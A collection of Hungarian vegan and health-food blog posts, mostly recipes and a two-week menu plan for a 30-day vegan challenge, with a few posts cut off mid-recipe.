Az elkészült tésztát tk. liszttel lisztezett gyúródeszkán kinyújtjuk, kiszaggatjuk. A diósakhoz a felső részt megkenjük pl. szőlőmagolajjal, és durvára darált dióba forgatjuk, és dióstul megsütjük.
Ha megsült, kivesszük a sütőből, kihűtjük, és aszalt áfonya lekvárral összeragasztjuk a két felet.
Aszaltáfonya lekvár: aszalt áfonyát vízzel összeturmixolunk, hogy lekvársűrűségű masszát kapjunk, és már készen is van a tartósítószermentes lekvárunk.
A kakaósakhoz a cukormentes csokimázt az alábbi módon készítjük:
kb. 3-4 dkg kakaóvajat meglangyítunk lassú tűzön, folyékonnyá olvasztjuk, hozzákeverünk édesítésnek egy kis stevia port (Stevia Crysanova), egy kis kakaóport, és belemártjuk a linzer felső részeit. Mivel porózus tészta, egy picit magába fogja szívni. Kókuszreszelékkel meghintjük a tetejét.
Frissiben is tálalható, nem kemény.
Jó étvágyat!
8-14. NAP MENÜTERV - A 30 NAPOS VEGÁN KIHÍVÁS
Elkészült az újabb heti menüterv, a recepteket folyamatosan töltöm majd fel! 8. NAP Reggeli:olíva-,,vajas pirítós, tetszés szerint friss zöldség szeletek, csírák!, zöld tea, vagy gabonatejes turmix, esetleg zöld turmix Megjegyzés: ha szívesebben eszel édes ízt reggelire, akkor ehetsz valamilyen kásafélét (tippeket találsz akár ITT is), vagy a szokásos magkrémes kenyeret stb. Nézz körül az előző hét ötletei között is! Ebéd: Taco-saláta Önts egy lábosba egy adag pinto babot- kb. 100-150 g/fő (vagy bármilyen más babfélét, amit szeretsz), és adj hozzá kb. 50 ml vizet, főtt kukoricát, tehetsz bele néhány feldarabolt kelkáposzta levelet is, só, kis őrölt kömény, és csili, ha szereted! Főzd kb. 10 percig, amíg elkezd sűrűsödni, önts még hozzá vizet, ha szükséges! Tálald bio natúr kukoricacsipsszel és kis paradicsomos mártogatóssal (ehhez találsz recepteket többfelé a neten, csak figyelj, hogy adalékmentes hozzávalókkal dolgozz!). Vacsora: zöldséges barna lencse citromos-napraforgós pesztóval (Recept jön!) Olíva ,,vaj Fogyasztás előtti hűtési idő: kb. 1 óra! Hozzávalók (3-4 főre): 50 ml olívaolaj só Sózd meg egy kicsit az olívaolajat, öntsd egy kis tálba, és tedd be a fagyasztóba kb. 1 órára, amíg az olaj megszilárdul. A hűtőből kivéve kend rögtön a kenyérre, és fogyaszd elJ , mert az olaj gyorsan visszaolvad! Forrás: Attila Hildmann: Vegan for Fit 9. NAP Reggeli: mandarinos - sok magvas zabkása Ebéd: Káposztás teljes kiőrlésű tészta pirított szezámmaggal Vacsora: diós - tofus saláta 10. NAP Reggeli: natúr kukoricapehely növényi tejjel + 2 ek. puffasztott amaránttal, 1 ek. lenmaggal, friss gyümölccsel dúsítva Ebéd: babos barna rizs Vacsora: pirított zöldségek friss zöldsalátával, pirított magvakkal 11. NAP Reggeli: málnás-amarántos szójajoghurt pirított kókuszreszelékkel Ebéd: Kukoricás - paradicsomos tésztasaláta Vacsora: karfiolpástétom zöldekkel 12. NAP Reggeli: almás - fahéjas köleskrém Ebéd: quinoa egytál Vacsora: sütőtökös fekete bab 13. NAP Reggeli: banánturmix, vagy zöldturmix magkrémes pirítóssal és friss gyümölccsel, ha kívánod Ebéd: gombás teljes kiőrlésű pizza Vacsora: mandulás párolt brokkoli salátával, csírákkal 14. NAP Reggeli: tofu rántotta Ebéd: répás céklával töltött palacsinta Vacsora: tepsiben sült sütőtök avokádókrémmel
Wok zöldségek fafülgombával - rizstésztával
2013. február 26. Fittanyuka Blog
A wokban készült ételeknél a legtöbb időt az előkészítés vesz igénybe, az alapanyagok szeletelése, aprítása, gyakorlatilag maga a készre készítési folyamat pár perc csupán. De még így is, összességében 15 perc alatt készült el ez az étel. Amíg a tészta puhára főtt addigra a wok zöldségek is elkészültek. Hozzávalók ( 4 fő részére) 4 szál, tisztított répa 2 cikk fokhagyma 4 szál újhagyma 1 db közepes cukkini 100 g szárított fafülgomba 1 evőkanálnyi szezámmag 1-2 evőkanálnyi kókusz olaj vagy szezámolaj 2 evőkanál tamari szója szósz 1 evőkanál kókusz cukor 1 evőkanál kókusz ecet ( savassága alacsony, kókusz vízből biológiai eljárással,természetes erjesztéssel készül, ásványi anyagokban gazdag) 1 kk thai bazsalikom Célszerű a fafülgombát forró vízbe beáztatni, min. 1/2 órára. A rizsésztának a vizet oda tesszük főni. A répát, cukkinit, újhagymát hosszanti csíkokra, szeletekre vágjuk. A felhevített olajon először a fokhagymát az újhagymával, fafülgombát majd a répát és utoljára a cukkinit állandó keverés mellett pirítjuk. Mikor már roppanósra pirultak hozzáadjuk a tamari szószt, kókusz cukrot és thai bazsalikomot, kókusz ecetet, átforgatjuk és készen is vagyunk. A kifőtt, lecsöpögtetett risztésztát beleforgatjuk a wokban elkészült zöldségekbe és tálalhatunk. Fittanyuka
Édesburgonyás - Mákos Puffancs
2013. február 25. Fittanyuka Blog
Az elmúlt hétvégén tartott Wok - főzőtanfolyamon készítettük ezt a keleti finomságot! Könnyű, lassan felszívódó szénhidrátokat tartalmaz és nagyon finom. Hasonlít egy fűszeres fánkra és hasonlóan, mint a fánk, frissen a legfinomabb! Még több fotó a Wok főzőtanfolyamról: ITT! Hozzávalók: 500 g édesburgonya 4 ek mák - darálatlan 2 ek világos tönköly liszt 3 ek keményítő 2 ek agave szirup 1/2 kk foszfátmentes sütőpor Fűszerek: friss gyömbér, narancs olaj, késhegynyi kardamon, késhegynyi örőlt szegfűszeg Bő kókusz olaj a sütéshez A megtisztított édesburgonyát kockára vágjuk és megfőzzük enyhén sós vízben. Leszűrjük és villával összekeverjük, hozzáadjuk a mákot, fűszereket, sütőport, keményítőt és tönköly lisztet, agave szirupot. Egy órára a hűtőbe tesszük, hogy összeérjenek az ízek. Majd vizes kézzel kis gombócokat formázunk. Tipp: Ha kevés az időnk vagy túl lágynak érezzük a masszát akkor vizes kiskanál segítségével a wokkban bő, forró olajba szaggatjuk és aranybarnára sütjük. Tálalás előtt por nyírfacukorral megszórjuk, vagy agave sziruppal lecsorgatjuk. Fittanyuka
A 30 NAPOS VEGÁN KIHÍVÁS - 1-7. NAP MENÜTERVE
A 30 NAPOS VEGÁN KIHÍVÁS 1-7. NAP MENÜI 1. NAP Reggeli: - gyümölcsturmix - egy marék dió, VAGY 1-2 szelet olajos mag - krémes pirítós (mandulakrém, vagy kesudiókrém, vagy amit szeretsz!:-) - friss gyümölcs (ezt áttolhatod akár tízóraira is) Ebéd: - teljes kiőrlésű spagetti (kb. 150g/fő), vagy teljes kiőrlésű penne tészta paradicsomos, spenótos, fokhagymás szósszal Vacsora: - saláta , melybe kerülhet: zöld leveles salátafélék, reszelt, vagy aprított sárgarépa, valamilyen babféle (kb. 100 g/ fő), pl. kidney bab, fekete, vagy pinto bab, és egy könnyed olívás-citromos öntet Ital: 2 l szénsavmentes ásványvíz + 1,5 l zöld tea Infók a menühöz: Gyümölcsturmix: http://www.fittnok.hu/erdei-gyumolcsos-turmix - így a tél végére kellően megunjuk az alma-banán-narancs variációt, úgyhogy előkerülhetnek már időnként a fagyasztott gyümölcsök is. Pl. készítsd el ezt az erdei gyümölcsös turmixot (méz helyett agave sziruppal!!) úgy, hogy a turmixolás előtt adsz hozzá egy evőkanál őrölt lenmagot és egy evőkanál olajos mag krémet (pl. mandulakrém, vagy kesudiókrém). Más gyümölccsel is helyettesítheted! - zöldturmix is mehet, ha Neked az jön be jobban! Sokfélét találsz Gitta blogján! Pl. kezdésnek akár ezt a petrezselymes zöld turmixot ! http://gittarawfood.blogspot.hu/2010/01/petrezselymes-zold-turmix.html Ebéd: egy kis olajon pirítsd meg egy picit az összeszúzott 1-2 gerezd fokhagymát, dobd rá a leveles spenótot (fagyasztott is lehet, ha nem kapsz frisset!), öntsd fel aprított, dobozos/ konzerv paradicsommal és főzd egy ideig! Só, bors, öntsd rá a tésztára és kész is!:-) Vacsora : ha a babot otthon főzöd, ne felejtsd el beáztatni előző este! Mivel a héten többször is lesz babféle, akár nagyobb adagot is megfőzhetsz, majd lefagyaszthatod! Ha konzervet használsz, ügyelj rá, hogy az összetevők között a címkén csak víz, só és a babféle szerepeljen! 2. NAP Reggeli: - banánhabos, kókuszos amarántkása http://www.vegagyerek.hu/2008/02/bannhabos-kkuszos-amarant-ksa-vegn.html Ebéd: - egyszerű tészta-, vagy bab-saláta : keverj össze egy adag főtt babfélét, vagy kifőzött teljes kiőrlésű tésztát nyers zöldségekkel (sárgarépa, fokhagyma, zellerszár, vagy zellercsíkok, kaliforniai paprika). Adj hozzá egy kis olívaolajat, sót, borsot és esetleg kis citromlevet. Vacsora: - tepsiben sült zöldségek : különféle zöldségek, amiket találsz a hűtőben, felaprítva (szezonálisak mehetnek bele nyugodtan, sütőtök, cékla, káposztafélék, répa, stb., figyelj rá, hogy nagy kockákra vágd, ne süljön szét!:-) meglocsolva kis olívaolajjal, hozzá só-bors, és süsd meg a sütőben! Salátát nyugodtan ehetsz hozzá! Ital: 2 l szénsavmentes ásványvíz + 1,5 l zöld tea 3. NAP Reggeli: 1-2 szelet pirított teljes kiőrlésű kenyér valamilyen olajos mag krémmel (pl. mandula, kesudió, szezám), és esetleg cukormentes lekvárral (pl. bio cukormentes szilvalekvár, vagy bio agave sziruppal édesített gyümölcslekvár); friss gyümölcs (ezt áttolhatod uzsonnára is) Ebéd: paradicsomos szendvics: 2 szelet pirított barna kenyér közé tegyél felszeletelt paradicsomkarikákat, egész bazsalikom leveleket, zöld leveles salátát, csírákat és megkenheted akár tojásmentes kölesmajonézzel is. http://www.vegagyerek.hu/2011/01/tofusalatas-szendvicskrem-es.html Ha gazdagabban szeretnéd megpakolni, akkor egy-két szelet füstölt tofut piríts meg kis olajon, vagy grillezd meg, pici szójaszósszal ízesítve, és azt is tedd a kenyérbe húspótlóként. Vacsora: kis olívaolajon piríts meg egy kis vöröshagymát, kaliforniai paprikát, gombát. Só, bors, kis őrölt kömény, őrölt koriander (csili, aki szeretiJ), és keverj hozzá főtt fekete babot (kb. 100 g /fő). Fogyassz hozzá friss avokádó szeleteket, de készíthetsz akár avokádókrémet is, ha ízesebben szeretnéd enni az avokádót (az avokádót kis citromlével, sóval, borssal pürésíteni). Ital: 2 l szénsavmentes ásványvíz + 1,5 l zöld tea 4. NAP Reggeli : almás zabkása . Főzz meg víz (kb. 300 ml) + növényi tej (150 ml) keverékében apró szemű zabpelyhet puhára, mazsola is mehet bele ízlés szerint. Amikor elkészült, reszelj bele almát, és tegyél hozzá egy evőkanál darált lenmagot + egy kávéskanál őrölt szezámmagot, őrölt fahéjat ízlés szerint. Pici bio agave szirup is mehet hozzá, ha igényled az édesebb ízt, de a mazsola és az alma magában is édesít.:-) Ebéd : polenta http://www.vegagyerek.hu/2010/01/babos-kukoricas-teli-egytal-polentaval.html kis olívaolajon pirított kelbimbóval + só-bors (ha félbevágod a kelbimbókat könnyebben pirul), friss salátával. Vacsora : csicseripástétom (a recept jön!J) friss zöld mártogatóssal. 5. NAP Reggeli: gyümölcs olajos mag krémmel (mogyoró, vagy mandula, vagy kesudiókrém). Vágj fel almát, körtét, vagy banánt szeletekre, és mártogasd a krémbe. Ha nem elég laktató Számodra, akkor ehetsz 1-2 szelet teljes kiőrlésű kenyeret, amire rákened a krémet és kis cukormentes szilvalekvárt, vagy agave szirupos lekvárt. Ebéd : csicseriborsós quinoa (vagy barna rizs, vagy árpa). Főzz meg egy adagot a kedvenc gabonádból (kb. 100 g szárazon/fő) és keverj hozzá főtt kukoricát, aprított/durvára reszelt nyers sárgarépát, felkockázott paradicsomot, kis zúzott fokhagymát, friss bazsalikomot, vagy petrezselyemzöldet, kis olívaolajat és citromlevet, sót-borsot. Végül adj hozzá némi főtt csicseriborsót, vagy más babfélét. Vacsora: tökmagpástétom friss zöldség szeletekkel, csíkokkal http://www.vegagyerek.hu/2010/01/tokmagpastetom.html 6. NAP Reggeli: amarántos teljes kiőrlésű mini palacsinták friss gyümölccsel Ebéd: mediterrán kölestál Vacsora: gyors vöröslencse-leves Recept hozzá: http://hobbifozocske.blogspot.hu/2008/01/gyors-vrslencseleves.html Amarántos teljes kiőrlésű mini palacsinták (kb. 20 perc) Hozzávalók 2 főre (6 db mini palacsintához): 60 g teljes kiőrlésű liszt 140 ml növényi tej (zabtej, vagy rizstej) 20 g agave szirup 1 csapott teáskanál foszfátmentes borkő sütőpor 1/2 teáskanál őrölt vanília 30 g puffasztott amaránt dió olaj, vagy bio kókuszzsír a sütéshez Elkészítés: az amaránt kivételével keverjük habverővel simára az összes hozzávalót, és a végén adjuk hozzá az amarántot. Kenjünk ki olajjal vékonyan egy serpenyőt, tegyünk bele 1-2 evőkanál palacsinta tésztát, és süssük oldalanként kb. 4 percig. Csorgassunk rá vékonyan agave szirupot, és fogyasszuk friss gyümölccsel! Forrás: Attila Hildmann: Vegan for Fit Mediterrán kölestál (kb. 30 perc) Hozzávalók 2 főre: 250 g köles 250 ml víz só 1 fej vöröshagyma 1 cukkini 1/2 padlizsán 1 sárgarépa 4 ek. olívaolaj 80 g paradicsompüré 2 teáskanál szárított oregánó bors csírák 40 g pirított mogyoró Elkészítés: A jól megmosott kölest a vízzel és 1/2 tk. sóval feltesszük főni, forrás után kb. 20 percig. A hagymát felaprítjuk, a cukkinit és a padlizsánt felkockázzuk, a répát felszeleteljük. 3 ek. olívaolajat felforrósítunk és 5 percig pirítjuk benne a zöldségeket, majd hozzáadjuk a paradicsompürét, és az oregánót. 1 percig főzzük, sózzuk-borsozzuk. A kölest belekeverjük a pirított zöldségekbe, sózzuk-borsozzuk. A szárazon megpirított, felaprított mogyoróval és a csírákkal tálaljuk. Forrás: Attila Hildmann: Vegan for Fit 7. NAP Reggeli: szójajoghurtos - gyümölcsös kukoricapehely Összetevők: natúr szójajoghurt friss gyümölccsel, natúr kukoricapehellyel, kis puffasztott amaránttal, valamilyen aprított magfélével (pl. mandula, vagy dió) és egy evőkanál őrölt lenmaggal. Ebéd: fogyaszthatsz a tegnapi vöröslencse-levesből, ha maradt + quinoa-fasírt vegyes zöldsalátával http://www.vegagyerek.hu/2011/03/quinoa-fasirt.html DESSZERT!!!:-))), vagy uzsonna 16h-ig: Kesudió - panna cotta eperöntettel Vacsora: zöldborsós, füstölt tofus saláta http://fittanyuka.blogspot.hu/2011/07/zoldborsos-fustolt-tofusalata.html Kesudió - panna cotta eperöntettel Hozzávalók (4 kis formához): 70 g kesudiókrém 2 késhegynyi őrölt vanília 60g agave szirup 1 g agar-agar 1 csipet só Öntet: 150g fagyasztott eper, vagy erdei gyümölcs keverék felolvasztva 30 ml agave szirup 1 csipet só 1 csipet őrölt vanília Konyhai aprítógépben gyorsan keverjük simára a kesukrémet, a vaníliát, az agave szirupot, az agar-agart, sót és 280 ml vizet. Öntsük át egy kis lábasba a keveréket és állandó keverés mellett főzzük kb. 20 mp-ig! Öntsük ki kis panna cotta formákba. Fedjük le a tetejüket sütőpapírral és tegyük 1 órára a fagyasztóba! Az öntet hozzávalóit mixerrel pürésítsük. Kés segítségével lazítsuk fel a panna cotta oldalát, tegyük tányérra, és öntsük le az eperszósszal! Forrás: Attila Hildmann: Vegan for Fit
Kókuszkrémes, datolyaszószos köles
2013. február 18. Mindennapi ételeink
Nagyon finom, harmonikus és tápláló reggeli, jól előkészítve pikk-pakk, elkészül. (Én a kölest tegnap késő este kifőztem, a Raffaello-masszából még volt itthon, így kb. 10 perc alatt készült el ma a reggelink). Hozzávalók: 2 dl köles 6 dl Alpro mandulatej 1 csipet só 1 ek. méz 1 citrom héja -- 2 dl Raffaello -- 10 dkg datolya 1 dl víz Elkészítés: A köleskását a hagyományos módon készítjük el: feltesszük a tejet főni, majd beleszórjuk a megtisztított kölest, és fedő alatt puhulásig pároljuk. Ekkor ízesítjük a mézzel, citromhéjjal. Kihűtjük. Majd tálakat bevizesítünk, és az aljukra kölest teszünk, kanállal ellapítjuk, erre kerül egy Raffaello réteg, szintén kanállal elsimítva majd ismét köles, majd Raffaello. Hagyjuk, hogy összekeményedjenek, majd kiborítjuk. A datolyákat beletesszük egy kelyhes mixerbe és a vízzel együtt 5 perc alatt elturmixoljuk. Ezt az öntetet ráöntve tálaljuk. Persze, nem muszáj borogatni, lehet, csupán összekeverni a kölest a Raffaello-val, és egy tányérban tálalni, majd leönteni a datolyszósszal. :-)
Székelykáposzta Életkert módra
Nagyon nagyon megkívántam a savanyú káposztát, és a székelykáposzta az nálam mindig jöhet Sajnos, megint nem tudtam belőle elég keveset csinálni, 1 hétig biztos ehetem, annyi lett Hozzávalók: 1/2 kg savanyú káposzta 1 csészényi (2dl) tönkölybúza 1 pici tönkölykolbász 1 nagy fej vöröshagyma 1 nagyobb sárgarépa 1 diónyi kókuszzsír 1 tk tiszta só 1 tk [...]
Rendelhető aszalványok
2013. február 15. Gitta nyersétel blogja
Viszonteladók jelentkezését várjuk, Budapesten vagy vidéken! Hamarosan itt a tavasz, méregtelenítés, fogyás, ideális időszak a nyers ételek fogyasztásának! A következő termékek várnak arra, hogy az ország különböző pontjain a legjobb bioboltok polcaira kerüljenek, és az ott lakók meg tudják vásárolni őket. Minden termékünk gluténmentes, cukormentes, szójamentes! Minden termékünk nyers, azaz hőkezelés nélkül készült, kizárólag természetes alapanyagokból. Gyümölcslapok: kiszerelés: 4, illetve 12 lap van egy csomagban. Most almalap van raktáron, de egyedi kívánságokat is teljesítünk. GyümölcslapokEzekből a lapokból különféle nyers édességeket tudtok készíteni: zserbót, palacsintát, flódnit... Édes aszalvány az áfonyás muffin, ami sokaknak kedvence, reggelire friss mandulatejjel igazi ínyencség... de csak úgy magában is nagyon jó étel. 10 dkg-os csomagban szállítjuk. áfonyás granolaKókuszos keksz egy nem túl édes, ropogós, finom ropogtatnivaló... Sós aszalványok, egészséges nassolnivalók: Zöldséges ropogós: (hagyományos leveszöldségek, hajdina, lenmag, aszalt paradicsom) Zöldséges ropogós Káposztás tökmagos keksz: (káposzta, napraforgó mag, tökmag, lenmag, fűszerek) Káposztás tökmagos keksz Az árak, a kedvezmények és a szállítás részleteit megbeszéljük egyénileg, írjatok nekem: gitta@nyersetelakademia.hu
Fahéjas Almás Fánk
2013. február 10. Fittanyuka Blog
Farsang idején elengedhetetlen a fánk. Sokat gondolkodtam, hogy mivel és hogyan tudnám kiváltani, mert a hagyományos fánk nem tartozik az egészséges ételek kategóriába..., sajnos. Az alábbi recept pedig egy kiváló alternatíva és a kalória tartalma messze nem annyi, mint a hagyományos testvérének. Én neveztem el fánknak, mert a kinézete megtévesztette a vendégeimet is:)). Utána sem volt csalódás, mert az íze is finom! Nem mellékesen ez az édesség élesztő, -tej, -tojás és cukormentes, alakbarát változat. Hozzávalók: 2-3 db alma 2-3 ek. friss citromlé 1-2 ek. fahéjas nyírfacukor 6 ek. világos tönkölyliszt víz csipet himalaya só 1-2 ek. szezámmag kókusz olaj a sütéshez Öntet: 200 ml kókusz tejszín 2-3 ek. agave szirup 1/2 kk őrölt fahéj Összekeverjük az összetevőket. Az almákat hámozzuk meg, a magházukat szúrjuk ki, majd vágjuk őket kb. 1 - 1,5 cm vastag szeletekre. Azonnal csepegtessünk rá citromlevet. Ezután szórjuk meg a fahéjas nyírfacukorral, és hagyjuk állni 5-6 percig. A tésztához keverjük össze a lisztet a vízzel, annyi vizet adjunk hozzá, amíg palacsinta tészta sűrűségű masszát kapunk. Majd keverjük hozzá a szezámmagot. Forrósítsunk bőséges mennyiségű kókusz olajat egy tapadásmentes edényben. Tipp: Az almaszeleteket világos tönkölylisztben megforgattam mielőtt belemártottam volna a palacsinta tésztába. Tehát belemártjuk a palacsinta tésztába őket egyenként és kisütjük a forró kókusz olajban. Miután aranybarnára sült mindkét oldaluk, konyha törlőkendőre szedjük. Az öntettel meglocsolva még melegen tálaljuk! Fittanyuka
Svájci burgonya
2013. február 6. Mindennapi ételeink
Gyermekkorom kedvenc étele ez volt. Nem tudom, miért svájci krumpli a neve, talán ott tanulta édesanyám (gyermekként jártunk Svájcban, Franciaországban is, édesapám egy ösztöndíjat nyert az egyetemen, és mi is elkísértük:). Visszatérve az ételre: az eredeti úgy néz ki, hogy nyers krumplit nyakon kell önteni jó sok tejjel+sajttal, snidlinggel megszórni, némi vajat is adva hozzá. Szóval nagyon gyors és laktató étel. Valamelyik nap eszembe jutott, és mivel minden alapanyag volt itthon hozzá, elkészítettem a vegán verzióját. Hozzávalók: 1 kg burgonya 5-6 ek. 100% extra szűz olívaolaj 1 csokor snidling só-ízlés szerint 4-5 gerezd fokhagyma 0,5 l natúr Vegimilk 2 ek. kókuszolaj 2 dl rizs-vagy zabtejszín 2 ek. sörélesztőpehely 2 ek. Vito Reform ételízesítő 1 kis csokor petrezselyem (elhagyható) Elkészítés: A krumplit mossuk és hámozzuk meg. Vágjuk karikákra. Olajozzunk ki egy tepsit, dörzsöljük be fokhagymával, és tegyük bele a nyers krumplikat. A tejet keverjük ki (Vegimilk por+meleg víz), locsoljuk adjunk hozzá széttört fokhagymát, ételízesítőt. Öntsük a krumplira. Ezt követően a tejszínbe keverjük bele a sörélesztőpelyhet, a kókuszolajat, ételízesítőt és mindezt alaposan összedolgozva öntsük rá. Magas lángon 45-50 percig süssük készre. A tetejét snidlinggel, petrezselyemmel szórjuk meg.
Narancs-turmix...Avagy Cook kapitány kincse almával párosítva.
1769-ben maori halászok tették a napi rutin feladataikat kenuikban a mai Új-Zéland környéki szigetvilágban, amikor a látóhatáron szokatlan jelenségre lettek figyelmesek. Egy 31 m hosszú, három árbócos vitorlás hajó tűnt fel, a brit Királyi Haditengerészet zászlójával. Az ágyúkkal felszerelt egykori kereskedelmi hajó orrán, ami végigpásztázta a partvidéket, a HM Bark Endeavour volt olvasható. A hajó James Cook kapitányé volt 94 utassal és legénységgel. Abban az időben szokatlan módon a hajón két ember kivételével, mindenki egészséges volt. Az élet a hajó fedélzetén nem ördögtől való volt, ahogy ez akkoriban a népszerűséghajhászó írásokban megjelent. Titka egyszerű volt. Cook kapitány következetesen mindenkivel betartatta a szigorú higiéniai előírásokat és étkezési szokásokat. Citrusféléket, így narancsot fogyasztottak, valamint káposztát, savanyú káposztát, ezzel sikerült a skorbutot is kiiktatniuk, ami akkoriban az egyik legveszedelmesebb ellenség volt a hajók fedélzetén. Nem kívánom részletezni, milyen szörnyűséges külső tünetek kezdetével jutott el a skorbutban szenvedő beteg néhány nap alatt a halálig. Csak később, Szent-Györgyi Albert tanulmányozásai során került kimondásra, hogy a citrusfélék, így a narancs is C-vitamint tartalmaz, s ez által menekültek meg Cook kapitány hajóján az emberek a betegségtől. (Kép innen, thank you!)
Itt a tél, és annak minden velejárója. Hétről hétre melegszik az idő, ami azzal is jár, hogy a légúti megbetegedések, vírusok egyre inkább szaporodnak. Amennyire fontos nyáron az, hogy a meleg miatt sok folyadékot igyunk, annyira fontos ilyenkor is, hogy megfelelő hőmérsékletű vizet igyunk minden nap. Megfelelő hőmérsékleten azt értem, ha lehet, kerüljük a hideg vizet. Ha van rá mód, melegebb italokat fogyasszunk. Jól tesszük, ha minden nap egy csésze fekete kávé helyett valamilyen finomabb gyógynövényből készített teával indítjuk a napunkat. (Pl. citromfű, menta, szárított bodzavirág) Szintén a megelőzésben fontos szerepe van, ahogy a fenti történetből is kiderül, a sok C-vitamin tartalmú gyümölcs fogyasztása. Talán nem tudunk egyszerre két-három narancsot elfogyasztani, de ha turmixot készítünk belőle, máris könnyebben szervezetünkbe juttatjuk. Ha tehetjük, 2-3 naponként készítsünk valamilyen turmixot, vagy ha máskor nem, legalább a hétvégéket tegyük színesebbé általuk. Ismét ajánlom azoknak is, akik nehezen bírják rá családtagjukat a gyümölcsök fogyasztására. Ha éhgyomorra fogyasztjuk, ráadásul jól átmossa az előző napok salakanyagától az emésztőrendszerünket.
A recept:
Hozzávalók:
- 2 narancs (mandarin is lehet)
- 2 alma
- 1 dl víz
- turmixgép (min. 500 watt)
Elkészítés:
Az almát alaposan megmossuk, majd a turmixgépbe daraboljuk. A narancsot megpucoljuk, gerezdekre szedjük és a turmixgépbe tesszük. Kevés vizet öntünk a turmixgépbe és már mehet is a turmixolás egészen addig, míg jó sűrű pépet nem kapunk.
Poharakba vagy bögrékbe töltjük és elfogyasztjuk! Tetejére "tálaláskor" szórhatunk kókuszreszeléket, amit előtte akár kicsit meg is piríthatunk teflonsütőben. (Legutóbb én ezt a műveletet kihagytam.)
Lilakáposztás röszti
Valamiért mostanában a krumplit is krumplival enném, biztosan megvan az oka Szerencsére Nógrádban vagyok, ahol az alap, hogy legalább 20 féle krumplis ételt tudj kapásból Szóval, semmiképp sem egyhangú az étkezésem 1 evőkanálnyi teljes kiőrlésű tönkölyliszt 1 gerezd fokhagyma 1 tk tiszta só 1 szem krumpli 1 diónyi kókuszzsír A krumplit megmosom, meghámozom, és lereszelem [...]
Karamellás Almatorta mandulával
2013. január 30. Fittanyuka Blog
Én is olyan vagyok a saját konyhámban, mint a legtöbb háziasszony, hogy azokat az ételeket, recepteket részesítem előnyben amelyek gyorsan elkészíthetőek és mégis finomak, nálam mint tudjátok az egészséges szempont is fontos helyen áll! Ezért igyekszem olyan recepteket kreálni amelyeknél az egyszerűség, gyorsaság dominál. Ilyen ez az almatorta is, amely körtével is nagyon finom. Karamella ebben az esetben az aranyló agave szirup amelynek alacsony a glikémiás indexe, de ha igazán karamellás íz hatást szeretnétek akkor a tetejét kókuszcukorral is megszórhatjátok, amely hasonló pozitív élettani hatásokkal rendelkezik: A kókuszvirág nektárjából nyerik, melyből alacsony hőfokon elpárologtatják a nedvességet. A kíméletes eljárásnak köszönhetően a kókuszvirág cukor nem veszíti el értékes vitamin és aminosav tartalmának jelentős részét, azok bekerülnek a szervezetünkbe. Tartalmazza a B1, B2, B3 és a B6-vitaminokat, valamint 16 féle aminosavat. Ezen kívül kalciumot, magnéziumot, cinket, vasat. Glikémiás indexe 35 (kristálycukor: 70, nádcukor: 68, legtöbb méz: 55), ezért fogyókúrázók és cukorbetegek is fogyaszthatják. Hozzávalók: 150 g világos tönkölyliszt 50 g mandula liszt 100 g szeletelt mandula 100 g bio, olvasztott margarin 80 g nyírfacukor ( glikémiás index:7) 1 tasak foszfátmentes sütőpor 400 ml víz 1 citrom reszelt héja 1/2 citrom leve késhegynyi bourbon vanília 1 kk őrölt fahéj 2 evőkanál agave szirup, vagy 1-2 evőkanál kókuszcukor 2-3 db alma meghámozva, kicsumázva Először összekeverjük a száraz hozzávalókat: lisztek, sütőpor, nyírfacukor, vanília, majd hozzáadjuk a vizet, olvasztott margarint, citrom levét, héját és robotgép segítségével összedolgozzuk. A szeletelt mandulát pedig utólag keverjük bele, hogy ne törjük össze a mandula szirmokat. Egy gyümölcstorta formát kikenünk kevés zsiradékkal és beleöntjük a tésztát, a 0,5 cm-es karikákra vágott almát pedig ráhelyezzük körbe, körbe a tetejére, megszórjuk a kókuszcukorral és előmelegített sütőben 180 C fokon 25 percig sütjük. Ha agavet használunk akkor a végén csorgassuk rá, a még forró süteményre. A legvégén megszórjuk az őrölt fahéjjal.Fittanyuka
Rizsfasírt
Hozzávalók: 20 dkg barnarizs 1 db natúr tofu 1 db pritaminpaprika 1 kis fej lilahagyma 1 tk vegamix 1 tk borsikafű, bazsalikom 1 tk só 1 ek kókuszzsír Nem egy bonyolult valami, viszonylag egyszerűen elkészíthető, a belseje puha, krémes, a külső része finom ropogós lesz. A barna rizst bő 2,5x-es mennyiségű vízben sóval és vegamix-szel feltesszük főni. Kb. 40 perc alatt készül el. Addig a tofut lereszeljük. Amikor készen van a rizs, hűtjük kicsit, majd a hagymát és a paprikát nagyobb darabokra vágva beleszórjuk, az egészet botmixerrel kicsit összedaráljuk, a végén belekavarjuk a tofut és a fűszereket. (Ha nehezen dolgozza össze, tehetünk hozzá kis vizet.) Egy nagy tepsit kibélelünk zsírpapírral, megkenjük, vizes kézzel fasírtokat formázunk, és elhelyezzük őket benne. Közepes lángon 30 percig sütjük az egyik, majd megfordítva 20 percig a másik oldalát. Friss salátával azonnal fogyasztható, ami nekünk most reszelt karalábé és répa keveréke volt kevés citromlével és pici sóval megbolondítva.
Avokádó smoothie -tökmag olajjal
2013. január 21. Fittanyuka Blog
Ezt smoothinak készítettem, de egy forró nyári nap, lehet egy hideg, nyers, frissítő leves is akár. Fogyaszthatjuk vacsora helyett , főleg azoknak ajánlom akik fogyni szeretnének vagy méregtelenítik a szervezetüket, ez a lúgosító turmix, telít, telis tele van vitaminokkal, esszenciális zsírokkal és hidratál is egyben! Elkészítés pedig 3 percet vesz igénybe:) Hozzávalók ( 2 fő részére) 1 érett avokádó meghámozva, kimagozva 1 db lehéjazott kígyó uborka 1 kk himalya só 2 evőkanál kókusz tejszín valamilyen tetszőleges zöld fűszer: mint például, friss bazsalikom, kakukkfű, vagy oregáno stb. 4-5 dl víz 1 evőkanálnyi hidegen sajtolt tökmag olaj A hozzávalókat ( kivéve az olajat) alaposan összeturmixoljuk és a tetejére csorgatjuk az olajat.Fittanyuka
Sütőtökös rétestorta
Semmi flinc-flanc nincs az elkészítésében, viszont egy finom étel kerülhet az asztalra vele. Már írtam a sütőtök jótékony hatásairól itt. Úgy gondolom, nem csak sült és krémleves formában érdemes fogyasztani. Sokan nem tudnak elrugaszkodni ettől a két fajta elkészítési lehetőségtől, nekik is ajánlom következő bejegyzésem. Igazából olcsó kis finomság, hiszen egy csomag réteslap sem kerül sokba, ráadásul egy sütőtök (kanadai) ára is elfogadható. Az igazság az, hogy elég gyorsan elfogyott ez a tortácska. Szóval legközelebb is készítek. Akkor már lehet, rétegezem és egyfajta "emeletes" sütőtökös rétestorta lesz.
A recept:
Hozzávalók:
- 1 kockákra vagy szeletekre vágott, megpárolt vagy megsütött sütőtök
- 1 csomag réteslap
- szerecsendió
- ételízesítő (jó, ha házi)
- kevés kókuszzsír
